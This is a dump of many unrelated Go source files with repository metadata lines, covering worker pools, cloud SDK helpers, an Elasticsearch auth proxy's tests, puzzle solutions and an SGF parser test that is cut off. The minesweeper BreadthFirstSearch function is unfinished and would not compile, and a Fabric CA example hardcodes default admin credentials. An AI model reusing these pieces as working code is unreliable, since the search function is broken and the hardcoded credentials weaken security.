// Package task4 Реализовать набор из N воркеров, // которые читают из канала произвольные данные и выводят в stdout. // Данные в канал пишутся из главного потока. // Необходима возможность выбора кол-во воркеров при старте, // а также способ завершения работы всех воркеров. package task4 import ( "context" "fmt" "os" "os/signal" "sync" "syscall" ) // Start with workerPoolSize param func Start(workerPoolSize int) { consumer := Consumer{ inputChan: make(chan int, workerPoolSize*10), jobsChan: make(chan int, workerPoolSize), } //generator := Generator{callbackFunc: consumer.callbackFunc} generator := FiniteGenerator{consumer} ctx, cancelFunc := context.WithCancel(context.Background()) wg := &sync.WaitGroup{} generator.start() //go generator.start(ctx) go consumer.startConsumer(ctx, cancelFunc) wg.Add(workerPoolSize) for i := 0; i < workerPoolSize; i++ { go consumer.workerFunc(wg, i) } // chan for terminated signals termChan := make(chan os.Signal, 1) signal.Notify(termChan, syscall.SIGINT, syscall.SIGTERM, syscall.SIGTSTP) select { case <-termChan: // if terminated fmt.Println("=========Shutdown Signal=========") cancelFunc() case <-ctx.Done(): // if normally exited fmt.Println("=========Normally exited==========") } // Wait until all workers gracefully interupted wg.Wait() fmt.Println("==============All workers done!========") }
true
f48530ba64858a513b144b4ab27e34af9467b281
Go
arthurh0812/the-go-programming-language
/4-composite-types/arrays/arrays.go
UTF-8
1,272
3.859375
4
[]
no_license
[]
no_license
package main import "fmt" var a [3]int // array of 3 intergers func main() { fmt.Println(a[0]) // print the first element (index 0) fmt.Println(a[len(a)-1]) // print the last element (index (length-1)), a[2] // print the indices and elements for i, v := range a { fmt.Printf("%d %d\n", i, v) } // print the elements only for _, v := range a { fmt.Printf("%d\n", v) } var q [3]int = [3]int{1, 2, 3} var r [3]int = [3]int{1, 2} fmt.Println(q, r) fmt.Println(r[2]) // "0" -> zero value of type int q = [...]int{2, 3, 4} // q = [4]int{1, 2, 3, 4} // Compile Error: cannot assign [4]int to [3]int symbol := [...]string{USD: "$", EUR: "€", GBP: "£", RMB: "¥"} fmt.Println(RMB, symbol[USD]) hundred := [...]int{99: -1} fmt.Println(hundred) a := [2]int{1, 2} b := [...]int{1, 2} c := [2]int{2, 3} fmt.Println(a == b, a == c, b == c) // "true false true" d := [3]int{1, 2} fmt.Println(d) // fmt.Println(a == d) // compile error: cannot compare [2]int with [3]int var array = [32]byte{1, 4, 5, 7, 3, 10, 2, 2, 34, 53, 1, 26, 73, 24, 23, 43, 88, 26, 75, 82} fmt.Println(array) zero(&array) fmt.Println(array) } type Currency int const ( USD Currency = iota EUR GBP RMB ) func zero(ptr *[32]byte) { *ptr = [32]byte{} }
true
6634db18047375016c881f9f7c68f2eaa22c9af0
Go
wxylon/xylon-go
/src/github.lab/labs02/labs02.go
UTF-8
722
3.640625
4
[]
no_license
[]
no_license
package main import ( "fmt" ) type BigStruct struct { C01 uint64 } func Invoke1(a *BigStruct) uint64 { a.C01++ return a.C01 } func Invoke2(a BigStruct) uint64 { a.C01++ return a.C01 } func (a *BigStruct) Invoke3() uint64 { a.C01++ return a.C01 } func (a BigStruct) Invoke4() uint64 { a.C01++ return a.C01 } func main() { var a = new(BigStruct) for i := 0; i < 3; i++ { fmt.Println("指针传递:", Invoke1(a)) } var b = BigStruct{} for i := 0; i < 3; i++ { fmt.Println("值传递:", Invoke2(b)) } var c = BigStruct{} for i := 0; i < 3; i++ { fmt.Println("指针传递:", c.Invoke3()) } var d = BigStruct{} for i := 0; i < 3; i++ { fmt.Println("值传递:", d.Invoke4()) } }
true
eae2ceed6377a75ded18f0284117fcf19349b232
Go
pandaU/go-sdk-fabric-gm
/enroll/mainca.go
UTF-8
1,477
2.546875
3
[ "Apache-2.0" ]
permissive
[ "Apache-2.0" ]
permissive
package enroll import ( "fmt" mspca "github.com/hyperledger/fabric-sdk-go/pkg/client/msp" configca "github.com/hyperledger/fabric-sdk-go/pkg/core/config" fabsdkca "github.com/hyperledger/fabric-sdk-go/pkg/fabsdk" "os" ) func Main() { c := configca.FromFile("C:\\Users\\MSI\\go\\src\\github.com\\hyperledger\\go-sdk-gm\\main\\config_test.yaml") sdk, err := fabsdkca.New(c) if err != nil { fmt.Printf("Failed to create new SDK: %s\n", err) os.Exit(1) } defer sdk.Close() enrollUserCa(sdk, "admin", "adminpw") } func enrollUserCa(sdk *fabsdkca.FabricSDK, user string, secret string) { ctx := sdk.Context() mspClient, err := mspca.New(ctx) if err != nil { fmt.Printf("Failed to create msp client: %s\n", err) } fmt.Println("Going to enroll user") err = mspClient.Enroll(user, mspca.WithSecret(secret)) if err != nil { fmt.Printf("Failed to enroll user: %s\n", err) } else { fmt.Printf("Success enroll user: %s\n", user) } } func registerUserCa(user string, secret string, sdk *fabsdkca.FabricSDK) { ctxProvider := sdk.Context() // Get the Client. // Without WithOrg option, it uses default client organization. msp1, err := mspca.New(ctxProvider) if err != nil { fmt.Printf("failed to create CA client: %s", err) } request := &mspca.RegistrationRequest{Name: user, Secret: secret, Type: "client", Affiliation: "org1.department1"} _, err = msp1.Register(request) if err != nil { fmt.Printf("Register return error %s", err) } }
true
566441d82d5ba7f234803489574cecbf996ce731
Go
jovie-2019/go-core
/api-strategy/ip_filter.go
UTF-8
1,251
2.59375
3
[ "BSD-3-Clause" ]
permissive
[ "BSD-3-Clause" ]
permissive
package api_strategy import ( "github.com/pefish/go-core/api-session" "github.com/pefish/go-core/driver/logger" "github.com/pefish/go-error" ) type IpFilterStrategyClass struct { errorCode uint64 } var IpFilterStrategy = IpFilterStrategyClass{ errorCode: go_error.INTERNAL_ERROR_CODE, } type IpFilterParam struct { GetValidIp func(apiSession *api_session.ApiSessionClass) []string } func (this *IpFilterStrategyClass) GetName() string { return `ipFilter` } func (this *IpFilterStrategyClass) GetDescription() string { return `filter ip` } func (this *IpFilterStrategyClass) SetErrorCode(code uint64) { this.errorCode = code } func (this *IpFilterStrategyClass) GetErrorCode() uint64 { return this.errorCode } func (this *IpFilterStrategyClass) Execute(out *api_session.ApiSessionClass, param interface{}) { logger.LoggerDriver.Logger.DebugF(`api-strategy %s trigger`, this.GetName()) if param == nil { go_error.Throw(`strategy need param`, this.errorCode) } newParam := param.(IpFilterParam) if newParam.GetValidIp == nil { return } clientIp := out.GetRemoteAddress() allowedIps := newParam.GetValidIp(out) for _, ip := range allowedIps { if ip == clientIp { return } } go_error.ThrowInternal(`ip is baned`) }
true
7aa5c5ae2e057ba7e66b7026602880601befd3be
Go
shintaro-uchiyama/slack-suite
/pkg/infrastructure/pub_sub.go
UTF-8
837
2.71875
3
[ "Apache-2.0" ]
permissive
[ "Apache-2.0" ]
permissive
package infrastructure import ( "context" "fmt" "os" "cloud.google.com/go/pubsub" ) type PubSub struct { client *pubsub.Client projectNumber string } func NewPubSub() (*PubSub, error) { ctx := context.Background() projectID := os.Getenv("GOOGLE_CLOUD_PROJECT") client, err := pubsub.NewClient(ctx, projectID) if err != nil { return nil, fmt.Errorf("pubsub client error: %w", err) } projectNumber := os.Getenv("PROJECT_NUMBER") return &PubSub{ client: client, projectNumber: projectNumber, }, nil } func (p PubSub) Publish(topicName string, message []byte) error { topic := p.client.Topic(topicName) ctx := context.Background() if _, err := topic.Publish(ctx, &pubsub.Message{ Data: message, }).Get(ctx); err != nil { return fmt.Errorf("could not publish message: %w", err) } return nil }
true
e4cd261ccc69c801cba8bba4914a5061a9d1802d
Go
gijs/elastic_guardian
/elastic_guardian_test.go
UTF-8
3,538
2.828125
3
[ "MIT" ]
permissive
[ "MIT" ]
permissive
package main import ( "encoding/base64" aa "github.com/alexaandru/elastic_guardian/authentication" az "github.com/alexaandru/elastic_guardian/authorization" "net/http" "net/http/httptest" "net/url" "testing" ) type testCase struct { url, header, body string } var foobar, foobogus, bazboo = base64.StdEncoding.EncodeToString([]byte("foo:bar")), base64.StdEncoding.EncodeToString([]byte("foo:bogus")), base64.StdEncoding.EncodeToString([]byte("baz:boo")) var testCases = map[string]testCase{ "request_authentication_if_blank": {"whatever", "", "401 Unauthorized\n"}, "fail_with_incorrect_credentials": {"whatever", "Basic " + foobogus, "403 Forbidden (authentication)\n"}, "pass_when_blacklisting_allows": {"/_cluster/stats", "Basic " + foobar, ""}, "fail_when_blacklisting_forbids": {"/_cluster/health", "Basic " + foobar, "403 Forbidden (authorization)\n"}, "pass_when_whitelisting_allows": {"/_cluster/health", "Basic " + bazboo, ""}, "fail_when_whitelisting_forbids": {"/_cluster/stats", "Basic " + bazboo, "403 Forbidden (authorization)\n"}, } func loadCredentials() { aa.LoadCredentials(aa.CredentialsStore{ "foo": aa.Hash("bar"), "baz": aa.Hash("boo"), }) } func loadAuthorizations() { az.LoadAuthorizations(az.AuthorizationStore{ "foo": az.AuthorizationRules{az.Allow, []string{"GET /_cluster/health"}}, "baz": az.AuthorizationRules{az.Deny, []string{"GET /_cluster/health"}}, }) } // Test wrappers func TestShouldRequestAuthenticationIfBlank(t *testing.T) { assertPassesTestCase(t, testCases["request_authentication_if_blank"]) } func TestShouldFailWithIncorrectCredentials(t *testing.T) { assertPassesTestCase(t, testCases["fail_with_incorrect_credentials"]) } func TestShouldPassWhenBlacklistingAllows(t *testing.T) { assertPassesTestCase(t, testCases["pass_when_blacklisting_allows"]) } func TestShouldFailWhenBlacklistingForbids(t *testing.T) { assertPassesTestCase(t, testCases["fail_when_blacklisting_forbids"]) } func TestShouldPassWhenWhitelistingAllows(t *testing.T) { assertPassesTestCase(t, testCases["pass_when_whitelisting_allows"]) } func TestShouldFailWhenWhitelistingForbids(t *testing.T) { assertPassesTestCase(t, testCases["fail_when_whitelisting_forbids"]) } func assertPassesTestCase(t *testing.T, tc testCase) { loadCredentials() loadAuthorizations() uri, err := url.Parse("http://localhost:9000") if err != nil { t.Fail() } handler := initReverseProxy(uri, wrapAuthorization, wrapAuthentication) recorder := httptest.NewRecorder() req, err := http.NewRequest("GET", tc.url, nil) if err != nil { t.Error("Failed to perform the request:", err) } if tc.header != "" { req.Header.Set("Authorization", tc.header) } handler.ServeHTTP(recorder, req) if expectedBody, actualBody := tc.body, recorder.Body.String(); actualBody != expectedBody { t.Error("Expected", expectedBody, "got", actualBody) } } // Test command line func TestCmdLineFlagDefaults(t *testing.T) { processCmdLineFlags() if BackendURL != "http://localhost:9200" { t.Error("Failed to set BackendURL, got", BackendURL) } if FrontendURL != ":9600" { t.Error("Failed to set FrontendURL, got", FrontendURL) } if Realm != "Elasticsearch" { t.Error("Failed to set Realm, got", Realm) } if LogPath != "" { t.Error("Failed to set LogPath, got", LogPath) } } // Test logging func TestLogpathInvalid(t *testing.T) { _, err := redirectLogsToFile("what/a/bogus/path/this/is") if err == nil { t.Error("Should have returned error on invalid path") } }
true
418618522c68e6cd400fc27f545bf0c5d3b9cd39
Go
genius52/leetcode
/src/golang/tree/2603. Collect Coins in a Tree.go
UTF-8
1,718
2.765625
3
[]
no_license
[]
no_license
package tree import "container/list" func CollectTheCoins(coins []int, edges [][]int) int { var l1 int = len(coins) var graph []map[int]bool = make([]map[int]bool, l1) for i := 0; i < l1; i++ { graph[i] = make(map[int]bool) } for _, edge := range edges { graph[edge[0]][edge[1]] = true graph[edge[1]][edge[0]] = true } var q1 list.List var delete_node map[int]bool = make(map[int]bool) for i := 0; i < l1; i++ { if len(graph[i]) == 1 && coins[i] == 0 { q1.PushBack(i) } } for q1.Len() > 0 { var cur_len int = q1.Len() for i := 0; i < cur_len; i++ { var cur int = q1.Front().Value.(int) delete_node[cur] = true q1.Remove(q1.Front()) for next, _ := range graph[cur] { delete(graph[next], cur) if _, ok := delete_node[next]; ok { continue } if coins[next] == 1 { continue } if len(graph[next]) == 1 { q1.PushBack(next) } } graph[cur] = make(map[int]bool) } } var q2 list.List for i := 0; i < l1; i++ { if len(graph[i]) == 1 { q2.PushBack(i) //delete_node[i] = true } } var steps int = 2 for steps > 0 { var cur_len int = q2.Len() for i := 0; i < cur_len; i++ { var cur int = q2.Front().Value.(int) q2.Remove(q2.Front()) delete_node[cur] = true for next, _ := range graph[cur] { delete(graph[next], cur) if _, ok := delete_node[next]; ok { continue } if len(graph[next]) == 1 { q2.PushBack(next) } } //graph[cur] = make(map[int]bool) } steps-- } var res int = 0 for _, edge := range edges { node1 := edge[0] node2 := edge[1] if _, ok1 := delete_node[node1]; !ok1 { if _, ok2 := delete_node[node2]; !ok2 { res += 2 } } } return res }
true
fb75329178257a0d8a73489f245b6f8b7d242aa0
Go
misinibaba/algo
/leetcode/回溯/47/47.go
UTF-8
845
3.390625
3
[]
no_license
[]
no_license
package main import ( "fmt" "sort" ) var ans [][]int func permuteUnique(nums []int) [][]int { sort.Ints(nums) ans = [][]int{} backTrace(nums, make([]int, 0), make(map[int]bool, 0)) return ans } func backTrace(nums, path []int, used map[int]bool) { if len(path) == len(nums) { var tem []int for _, v := range path { tem = append(tem, v) } ans = append(ans, tem) return } for i := 0; i < len(nums); i++ { if used[i] { continue } // 未使用过used{i - 1}说明是循环过来的,并且跟i一样,说明已经使用过了,就跳过 if i > 0 && nums[i] == nums[i - 1] && !used[i - 1] { continue } used[i] = true path = append(path, nums[i]) backTrace(nums, path, used) path = path[:len(path)-1] used[i] = false } } func main() { res := permuteUnique([]int{3,3,0,3}) fmt.Println(res) }
true
5b8dfe6548cda0137ad9e47b655f365cbf18e863
Go
ravendb/ravendb-go-client
/group_by_token.go
UTF-8
573
2.65625
3
[ "MIT" ]
permissive
[ "MIT" ]
permissive
package ravendb import "strings" var _ queryToken = &groupByToken{} type groupByToken struct { fieldName string method GroupByMethod } func createGroupByToken(fieldName string, method GroupByMethod) *groupByToken { return &groupByToken{ fieldName: fieldName, method: method, } } func (t *groupByToken) writeTo(writer *strings.Builder) error { _method := t.method if _method != GroupByMethodNone { writer.WriteString("Array(") } writeQueryTokenField(writer, t.fieldName) if _method != GroupByMethodNone { writer.WriteString(")") } return nil }
true
99623202d247a32394aa8352b4d28c2bec1637b1
Go
nkwangjun/global-resource-scheduler-back
/pkg/scheduler/framework/interfaces/cycle_state.go
UTF-8
5,357
2.828125
3
[ "Apache-2.0" ]
permissive
[ "Apache-2.0" ]
permissive
package interfaces import ( "errors" "fmt" "sync" "k8s.io/kubernetes/pkg/scheduler/common/logger" "k8s.io/kubernetes/pkg/scheduler/types" ) const ( // NotFound is the not found error message. NotFound = "not found" ) //FlavorInfo flavor info type FlavorInfo struct { types.Flavor Count int } // StateData is a generic type for arbitrary data stored in CycleState. type StateData interface { // Clone is an interface to make a copy of StateData. For performance reasons, // clone should make shallow copies for members (e.g., slices or maps) that are not // impacted by PreFilter's optional AddPod/RemovePod methods. Clone() StateData } // StateKey is the type of keys stored in CycleState. type StateKey string // CycleState provides a mechanism for plugins to store and retrieve arbitrary data. // StateData stored by one plugin can be read, altered, or deleted by another plugin. // CycleState does not provide any data protection, as all plugins are assumed to be // trusted. type CycleState struct { mx sync.RWMutex storage map[StateKey]StateData // if recordPluginMetrics is true, PluginExecutionDuration will be recorded for this cycle. recordPluginMetrics bool } // NewCycleState initializes a new CycleState and returns its pointer. func NewCycleState() *CycleState { return &CycleState{ storage: make(map[StateKey]StateData), } } // ShouldRecordPluginMetrics returns whether PluginExecutionDuration metrics should be recorded. func (c *CycleState) ShouldRecordPluginMetrics() bool { if c == nil { return false } return c.recordPluginMetrics } // SetRecordPluginMetrics sets recordPluginMetrics to the given value. func (c *CycleState) SetRecordPluginMetrics(flag bool) { if c == nil { return } c.recordPluginMetrics = flag } // Clone creates a copy of CycleState and returns its pointer. Clone returns // nil if the context being cloned is nil. func (c *CycleState) Clone() *CycleState { if c == nil { return nil } copy := NewCycleState() for k, v := range c.storage { copy.Write(k, v.Clone()) } return copy } // Read retrieves data with the given "key" from CycleState. If the key is not // present an error is returned. // This function is not thread safe. In multi-threaded code, lock should be // acquired first. func (c *CycleState) Read(key StateKey) (StateData, error) { if v, ok := c.storage[key]; ok { if v != nil { return v, nil } return nil, nil } return nil, errors.New(NotFound) } // Write stores the given "val" in CycleState with the given "key". // This function is not thread safe. In multi-threaded code, lock should be // acquired first. func (c *CycleState) Write(key StateKey, val StateData) { c.storage[key] = val } // Delete deletes data with the given key from CycleState. // This function is not thread safe. In multi-threaded code, lock should be // acquired first. func (c *CycleState) Delete(key StateKey) { delete(c.storage, key) } // Lock acquires CycleState lock. func (c *CycleState) Lock() { c.mx.Lock() } // Unlock releases CycleState lock. func (c *CycleState) Unlock() { c.mx.Unlock() } // RLock acquires CycleState read lock. func (c *CycleState) RLock() { c.mx.RLock() } // RUnlock releases CycleState read lock. func (c *CycleState) RUnlock() { c.mx.RUnlock() } //NodeSelectorInfo node temp info type NodeSelectorInfo struct { Flavors []FlavorInfo VolumeType []string StackMaxCount int } //NodeSelectorInfo node temp info type NodeSelectorInfos map[string]NodeSelectorInfo // Clone the prefilter state. func (s *NodeSelectorInfos) Clone() StateData { return s } func UpdateNodeSelectorState(cycleState *CycleState, nodeID string, updateInfo map[string]interface{}) error { if updateInfo == nil { return nil } cycleState.Lock() defer cycleState.Unlock() c, err := cycleState.Read(types.NodeTempSelectorKey) if err != nil { selectInfos := NodeSelectorInfos{} selectInfo := NodeSelectorInfo{} selectInfos[nodeID] = selectInfo cycleState.Write(types.NodeTempSelectorKey, &selectInfos) } s, ok := c.(*NodeSelectorInfos) if !ok { return fmt.Errorf("%+v convert to NodeSelectorInfos error", c) } selectInfo, ok := (*s)[nodeID] if !ok { selectInfo = NodeSelectorInfo{} } for key, value := range updateInfo { switch key { case "Flavors": flvs, ok := value.([]FlavorInfo) if !ok { return fmt.Errorf("%+v convert to []string error", c) } selectInfo.Flavors = flvs case "StackMaxCount": count, ok := value.(int) if !ok { return fmt.Errorf("%+v convert to int error", c) } if selectInfo.StackMaxCount == 0 || selectInfo.StackMaxCount > count { selectInfo.StackMaxCount = count } default: logger.Warnf("key = %s not support!", key) } } (*s)[nodeID] = selectInfo cycleState.Write(types.NodeTempSelectorKey, s) return nil } func GetNodeSelectorState(cycleState *CycleState, nodeID string) (*NodeSelectorInfo, error) { c, err := cycleState.Read(types.NodeTempSelectorKey) if err != nil { return nil, fmt.Errorf("error reading %q from cycleState: %v", types.NodeTempSelectorKey, err) } s, ok := c.(*NodeSelectorInfos) if !ok { return nil, fmt.Errorf("%+v convert to NodeSelectorInfos error", c) } value, ok := (*s)[nodeID] if !ok { return nil, fmt.Errorf("nodeID(%s) not found", nodeID) } return &value, nil }
true
9582f85eea80343ab8c9b93a33bc42765f57a7a4
Go
Ananto30/go-grpc
/config/app.go
UTF-8
995
2.734375
3
[]
no_license
[]
no_license
package config import ( "github.com/spf13/viper" ) // Version represents app version var Version = "unversioned" // Application holds the application configuration type Application struct { Base string Env string Port int Sentry string Users []User Version string } // User holds the auth user information type User struct { Name string `yaml:"name"` Password string `yaml:"password"` } // app is the default application configuration var app Application // App returns the default application configuration func App() *Application { return &app } // LoadApp loads application configuration func LoadApp() { mu.Lock() defer mu.Unlock() env := EnvDevelopment if e := viper.GetString("env"); e != "" { env = e } usrs := []User{} viper.UnmarshalKey("users", &usrs) app = Application{ Base: viper.GetString("base"), Port: viper.GetInt("port"), Env: env, Sentry: viper.GetString("sentry.dsn"), Users: usrs, Version: Version, } }
true
b17b927b876bd1519932ddfdef687eb7e72f0fc2
Go
kookehs/exp
/minesweeper/ai.go
UTF-8
1,714
3.046875
3
[]
no_license
[]
no_license
package main import ( "math/rand" "sort" ) func BreadthFirstSearch(game *Game) map[uint8]byte { commands := make(map[uint8]byte) queue := make([]uint8, 0) visited := make([]uint8, 0) src := game.CoordinatesToCell(game.X, game.Y) queue = append(queue, src) for len(queue) > 0 { parent, queue := queue[0], queue[1:] for _, cells := range game.GetAdjacentCells(parent) { for _, child := range cells { set := sort.IntSlice(visited) set.Sort() if sort.SearchInts(set, child) != len(visited) { } } } } return commands } func SolveStraightforward(game *Game) map[uint8]byte { commands := make(map[uint8]byte) for i := 0; i < int(game.Width*game.Height); i++ { adjacent := game.GetAdjacentCells(uint8(i)) hidden := len(adjacent[HIDDEN]) hiddenBomb := len(adjacent[HIDDENBOMB]) hiddenFlag := len(adjacent[HIDDENFLAGBOMB]) + len(adjacent[HIDDENFLAGNOBOMB]) hiddenQuestion := len(adjacent[HIDDENQUESTIONBOMB]) + len(adjacent[HIDDENQUESTIONNOBOMB]) switch CellByteToNumeric(game.Field[i]) { case 0: break case uint8(hiddenFlag + hiddenQuestion): for _, cell := range adjacent[HIDDEN] { commands[cell] = 'L' } break case uint8(hidden + hiddenBomb + hiddenFlag + hiddenQuestion): for _, cell := range adjacent[HIDDEN] { commands[cell] = 'R' } for _, cell := range adjacent[HIDDENBOMB] { commands[cell] = 'R' } break } } return commands } func RandomCell(game *Game) uint8 { hidden := []uint8{} for i := 0; i < int(game.Width*game.Height); i++ { cell := game.Field[i] if cell == HIDDEN || cell == HIDDENBOMB { hidden = append(hidden, uint8(i)) } } return hidden[rand.Int31n(int32(len(hidden)))] }
true
053a33fad26fafe164e7be5e38fb2bb12f247745
Go
liuxiaozhen/design-pattern-in-golang
/07_filter/filter_test.go
UTF-8
1,091
3.171875
3
[]
no_license
[]
no_license
package filter import ( "fmt" "testing" ) var persons Persons func init() { persons = append(persons, &Person{"Tom", "male", "signle"}) persons = append(persons, &Person{"Lily", "female", "married"}) persons = append(persons, &Person{"Laura", "female", "married"}) persons = append(persons, &Person{"Juice", "male", "signle"}) persons = append(persons, &Person{"Lucy", "male", "married"}) persons = append(persons, &Person{"Diana", "female", "signle"}) } func Test_Filter(t *testing.T) { maleCriteria := &CriteriaMale{} femaleCriteria := &CriteriaFemale{} signleCriteria := &CriteriaSingle{} fmt.Println("=== male ===") printPersons(maleCriteria.meetCriteria(persons)) fmt.Println("=== female and signle===") signleFemale := NewAndCriteria(femaleCriteria, signleCriteria) printPersons(signleFemale.meetCriteria(persons)) fmt.Println("=== female or signle===") signleOrFemale := NewOrCriteria(femaleCriteria, signleCriteria) printPersons(signleOrFemale.meetCriteria(persons)) } func printPersons(persons Persons) { for _, v := range persons { fmt.Println(v) } }
true
c2b5ff055cebf166e7db6bc970d751d52f64986a
Go
emilhein/go-aws-utility
/util/services/s3.go
UTF-8
2,581
3
3
[ "Apache-2.0" ]
permissive
[ "Apache-2.0" ]
permissive
package services import ( "bytes" "encoding/json" "errors" "fmt" "io" "sync" "github.com/aws/aws-sdk-go/aws" "github.com/aws/aws-sdk-go/aws/session" "github.com/aws/aws-sdk-go/service/s3" ) type S3Input struct { Key string Bucket string FileChannel chan []byte Wg *sync.WaitGroup } type FilesInput struct { Bucket string FileNames []string } type BucketList struct { Names []string } type S3JSONFiles struct { Files []interface{} } func (b *BucketList) ListBuckets() { for i := 0; i < len(b.Names); i++ { fmt.Println("", b.Names[i]) } } func GetS3Buckets() (BucketList, error) { config := GetConfig() client := s3.New(config) input := &s3.ListBucketsInput{} res, err := client.ListBuckets(input) if err == nil { var ListBuckets BucketList for _, bucket := range res.Buckets { // specificBucket := Bucket{Name: *bucket.Name, CreationDate: *bucket.CreationDate} ListBuckets.Names = append(ListBuckets.Names, *bucket.Name) } return ListBuckets, nil } return BucketList{}, errors.New("Could not get any buckets") } func GetS3Files(f FilesInput) S3JSONFiles { fileChannel := make(chan []byte, len(f.FileNames)) resultC := make(chan []interface{}) var wg sync.WaitGroup for w := 0; w < len(f.FileNames); w++ { wg.Add(1) input := S3Input{Bucket: f.Bucket, Key: f.FileNames[w], FileChannel: fileChannel, Wg: &wg} go ReadFile(input) } go combineFile(fileChannel, resultC) wg.Wait() close(fileChannel) result := <-resultC return S3JSONFiles{Files: result} } func combineFile(fileChannel <-chan []byte, resultC chan<- []interface{}) { var fileList []interface{} for elem := range fileChannel { // fmt.Println("Reading FROM channel") var randomObject interface{} json.Unmarshal(elem, &randomObject) fmt.Printf("Parsing file to JSON... \n") fileList = append(fileList, randomObject) } resultC <- fileList } func ReadFile(h S3Input) { defer h.Wg.Done() sess, err := session.NewSession(&aws.Config{Region: aws.String(S3_REGION)}) if err != nil { fmt.Println("Error") // Handle error } results, err := s3.New(sess).GetObject(&s3.GetObjectInput{ Bucket: aws.String(h.Bucket), Key: aws.String(h.Key), }) if err != nil { fmt.Println("Error getting file") } defer results.Body.Close() buf := bytes.NewBuffer(nil) if _, err := io.Copy(buf, results.Body); err != nil { fmt.Println("Error copying to buffer") } fmt.Printf("File: %v/%v read!\n", h.Bucket, h.Key) // fmt.Println("Sending INTO channel") h.FileChannel <- buf.Bytes() //send file to channel }
true
347f6c1693bf26dadd2d8dc59dccddffe535afde
Go
mhoak/clamshell
/core/sgf/parser_test.go
UTF-8
9,755
3.265625
3
[ "Apache-2.0" ]
permissive
[ "Apache-2.0" ]
permissive
package sgf_test import ( "fmt" "reflect" "testing" "github.com/google/go-cmp/cmp" "github.com/otrego/clamshell/core/color" "github.com/otrego/clamshell/core/errcheck" "github.com/otrego/clamshell/core/move" "github.com/otrego/clamshell/core/movetree" "github.com/otrego/clamshell/core/point" "github.com/otrego/clamshell/core/sgf" ) type propmap map[string][]string type nodeCheck func(n *movetree.Node) error func TestParse(t *testing.T) { testCases := []struct { desc string sgf string pathToProps map[string]propmap pathToNodeCheck map[string]nodeCheck expErrSubstr string }{ { desc: "basic parse, no errors", sgf: "(;GM[1])", }, { desc: "check parsing root: simple property", sgf: "(;GM[1])", pathToProps: map[string]propmap{ "-": propmap{ "GM": []string{"1"}, }, }, }, { desc: "check parsing root: lots of whitespace", sgf: "\n (; ZZ[1 \n1] )", pathToProps: map[string]propmap{ "-": propmap{ "ZZ": []string{"1 \n1"}, }, }, }, { desc: "check parsing root: multi property", sgf: "(;GM[1]AW[ab][bc])", pathToProps: map[string]propmap{ "-": propmap{ "GM": []string{"1"}, }, }, pathToNodeCheck: map[string]nodeCheck{ "-": func(n *movetree.Node) error { expPlacements := move.List{ move.New(color.White, point.New(0, 1)), move.New(color.White, point.New(1, 2)), } if !reflect.DeepEqual(n.Placements, expPlacements) { return fmt.Errorf("incorrect placements; got %v, but wanted %v", n.Placements, expPlacements) } return nil }, }, }, { desc: "add new node", sgf: "(;GM[1];B[cc])", pathToProps: map[string]propmap{ "-": propmap{ "GM": []string{"1"}, }, }, pathToNodeCheck: map[string]nodeCheck{ "0": func(n *movetree.Node) error { expMove := move.New(color.Black, point.New(2, 2)) if !reflect.DeepEqual(n.Move, expMove) { return fmt.Errorf("incorrect move; got %v, but wanted %v", n.Move, expMove) } return nil }, }, }, { desc: "comment with escaped rbrace", sgf: `(;ZZ[aoeu [1k\]])`, pathToProps: map[string]propmap{ "-": propmap{ "ZZ": []string{"aoeu [1k]"}, }, }, }, { desc: "comment with non-escapng backslash", sgf: `(;ZZ[aoeu \z])`, pathToProps: map[string]propmap{ "-": propmap{ "ZZ": []string{"aoeu \\z"}, }, }, }, { desc: "comment with lots of escaping", sgf: `(;ZZ[\\\]])`, pathToProps: map[string]propmap{ "-": propmap{ "ZZ": []string{`\\]`}, }, }, }, { desc: "basic variation", sgf: `(;GM[1](;B[aa];W[ab])(;B[ab];W[ac]))`, pathToNodeCheck: map[string]nodeCheck{ "0-0": func(n *movetree.Node) error { expMove := move.New(color.White, point.New(0, 1)) if !reflect.DeepEqual(n.Move, expMove) { return fmt.Errorf("incorrect move; got %v, but wanted %v", n.Move, expMove) } return nil }, "1-0": func(n *movetree.Node) error { expMove := move.New(color.White, point.New(0, 2)) if !reflect.DeepEqual(n.Move, expMove) { return fmt.Errorf("incorrect move; got %v, but wanted %v", n.Move, expMove) } return nil }, }, }, { desc: "mega mark test", sgf: ` (;GM[1]FF[4]CA[UTF-8]AP[CGoban:3]ST[2] RU[Japanese]SZ[19]KM[0.00] PW[White]PB[Black] AW[na][oa][pa][qa][ra][sa][ka][la][ma][ja] AB[nb][ob][pb][qb][rb][sb][kb][lb][mb][jb] LB[pa:A][ob:2][pb:B][pc:C][pd:D] [oa:1][oc:3][ne:9][oe:8][pe:7][qe:6][re:5][se:4] [nf:15][of:14][pf:13][qf:11][rf:12][sf:10] [ng:22][og:44][pg:100] [ka:a][kb:b][kc:c][kd:d][ke:e][kf:f][kg:g] [ma:\u4e00][mb:\u4e8c][mc:\u4e09][md:\u56db][me:\u4e94] [la:\u516d][lb:\u4e03][lc:\u516b][ld:\u4e5d][le:\u5341] MA[na][nb][nc] CR[qa][qb][qc] TR[sa][sb][sc] SQ[ra][rb][rc] )`, pathToProps: map[string]propmap{ "-": propmap{ "GM": []string{"1"}, "SQ": []string{"ra", "rb", "rc"}, "PW": []string{"White"}, }, }, pathToNodeCheck: map[string]nodeCheck{ "-": func(n *movetree.Node) error { expSize := 19 if n.GameInfo.Size != expSize { return fmt.Errorf("incorrect size; got %v, but wanted %v", n.GameInfo.Size, expSize) } return nil }, }, }, { desc: "complex problem", sgf: ` (;GM[1]FF[4]CA[UTF-8]AP[Glift]ST[2] RU[Japanese]SZ[19]KM[0.00] C[Black to play. There aren't many options to choose from, but you might be surprised at the answer!] PW[White]PB[Black]AW[pa][qa][nb][ob][qb][oc][pc][md][pd][ne][oe] AB[na][ra][mb][rb][lc][qc][ld][od][qd][le][pe][qe][mf][nf][of][pg] (;B[mc] ;W[nc]C[White lives.]) (;B[ma] (;W[oa] ;B[nc] ;W[nd] ;B[mc]C[White dies.]GB[1]) (;W[mc] (;B[oa] ;W[nd] ;B[pb]C[White lives]) (;B[nd] ;W[nc] ;B[oa]C[White dies.]GB[1])) (;W[nd] ;B[mc] ;W[oa] ;B[nc]C[White dies.]GB[1])) (;B[nc] ;W[mc]C[White lives]) (;B[]C[A default consideration] ;W[mc]C[White lives easily]))`, pathToProps: map[string]propmap{ "-": propmap{ "GM": []string{"1"}, }, }, pathToNodeCheck: map[string]nodeCheck{ "0-0": func(n *movetree.Node) error { expMove := move.New(color.White, point.New(13, 2)) if !reflect.DeepEqual(n.Move, expMove) { return fmt.Errorf("incorrect move; got %v, but wanted %v", n.Move, expMove) } return nil 